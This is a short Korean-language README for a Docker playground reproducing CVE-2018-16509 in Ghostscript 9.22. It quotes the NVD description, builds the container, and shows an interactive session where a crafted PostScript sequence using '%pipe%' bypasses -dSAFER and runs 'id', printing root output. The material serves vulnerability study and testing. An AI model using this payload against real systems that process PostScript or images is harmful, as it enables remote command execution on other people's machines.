
CVE-2018-16509 Docker Playground - Ghostscript 명령 실행
"Artifex Ghostscript 9.24 이전 버전에서 문제가 발견되었습니다. /invalidaccess 예외 처리 중 "권한 복원" 검사가 잘못되어, 조작된 PostScript를 공급할 수 있는 공격자가 "pipe" 명령을 사용하여 코드를 실행할 수 있습니다." https://nvd.nist.gov/vuln/detail/CVE-2018-16509 https://access.redhat.com/security/cve/cve-2018-16509
docker build -t cve-2018-16509:latest .
docker exec -it `docker run -d cve-2018-16509:latest` bash
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc. All rights reserved.
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]#